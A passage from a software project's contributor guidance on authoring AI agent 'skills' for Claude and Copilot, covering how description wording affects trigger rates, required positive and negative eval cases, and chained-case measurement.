from three model-invoked skills to nine measurably _lowered_ the trigger rate
of the ones already there: `project-structure` fell from 100% to 0% on two
cases (n=4) and `testing` from 3/5 to 2/5, while the six new skills all
measured 100% and every negative case stayed clean. So the ceiling is
attention, not characters โ we were at 2.8k of a 4k budget throughout _that
experiment_ (it is ~3.9k now; the point is that nothing was near the cap). Adding
a skill therefore has a cost paid by the _existing_ ones, which only
`skills:eval` can see. **Re-run the full eval after any flip _or description
edit_**, not just the changed skill's own cases.
**How to write a description that fires, and cases that measure it, is
[`docs/skill-authoring.md`](./docs/skill-authoring.md)** โ the case shapes
that work, the ones that can never pass, and the probe-then-measure loop.
The lever that works is the description's _shape_. Leading with the actions
and then enumerating concrete situations ("Use when โฆ ; when โฆ ; when โฆ")
beats a noun-phrase list of contents: it took `pre-push-gate` from 3/5 to 5/5
and `testing`'s three cases from 25/50/25% to 100% each (n=4), displacing
nothing else.
โ ๏ธ **`paths` is not a free win.** It looks like the deterministic option, and
it does gate loading to matching files โ but measured against the `testing`
skill's own eval cases, adding it roughly **halved** the rate at which the same
skill fired from a conversational prompt (0โ50% with `paths`, 33โ100%
without). It also cannot be measured: a prompt-only eval can never exercise a
path trigger, so shipping `paths` means shipping an untestable claim. Reach
for it only when the skill is useless outside those files, and say in the PR
that you accepted that trade.
3. **A model-invoked skill carries committed eval cases** at
`evals/evals.json` โ positives **and negatives**. Seeing a skill fire once tells
you Claude found it, not that it finds it reliably, and a skill that fires on
everything is a context regression that nobody notices by hand. `verify:skills`
requires both kinds โ and at least **five** positives, for breadth rather than
variance: each prompt is scored on its own `passes / RUNS`, so more prompts
steady nothing, they cover more of the ways someone might reach the skill and
expose a description that only fires on one narrow phrasing; `npm run skills:eval` actually runs them (it needs the
selected agent's CLI โ `claude` by default, `copilot` with `AGENT=copilot` โ and real model calls, so it is deliberately **not** in the gate โ
run it when adding a skill or editing a model-invoked description).
**The skills serve GitHub Copilot users too, from where they are.** The
Copilot CLI discovers `.claude/skills/` alongside `.github/skills/`, so a
Copilot session reaches the same procedures with no second copy โ and none
may be added. `AGENT=copilot npm run skills:eval` measures that side with the
same cases; one run measures one agent and never folds the two rates together
(#2397, details in `docs/skill-authoring.md`).
Two things learned writing the first set, both of which make a case measure
the wrong thing: a prompt whose answer is **already in this file** is not a
trigger case โ the model answers correctly without the skill, and the case
reads as a miss; and a prompt naming a concrete file or mechanism
("how does the `@inspector/core` alias resolve?") invites a `Read`, which is
a _better_ answer than a skill. Good cases are "how do I / where does this go"
questions whose answer is a procedure.
**A pointer from one skill's body to another is measured by a `chain` case,
not an `expect` one.** A first-move case can only observe the model's opening
tool call, so a skill reached only _through_ another scores a clean 100% on
its direct cases while the hand-off silently never fires (#2204). A chained
case names the ordered skills one run should load, **ending with the skill
whose file it lives in** โ so the file that goes red is the one belonging to
the skill that stopped being reached. It runs on a wider turn budget, is
scored against its own `CHAIN_THRESHOLD`, and is **reported in its own
column**: a hand-off rate and a first-move rate are not comparable, and
folding them together would move a headline everyone reads as trigger
reliability. It counts toward neither the five-positive floor nor the
negative requirement, and it is only worth writing where the first link's
body actually points at the target โ a chain through a skill that says
nothing about it is a permanent 0% with no lever.
โ ๏ธ **A green chain case proves the second skill LOADED, never that it
answered.** `testing` -> `test-servers` held 100% while `test-servers`
documented only the two-process manual path, so a model arriving from an
integration-test prompt wa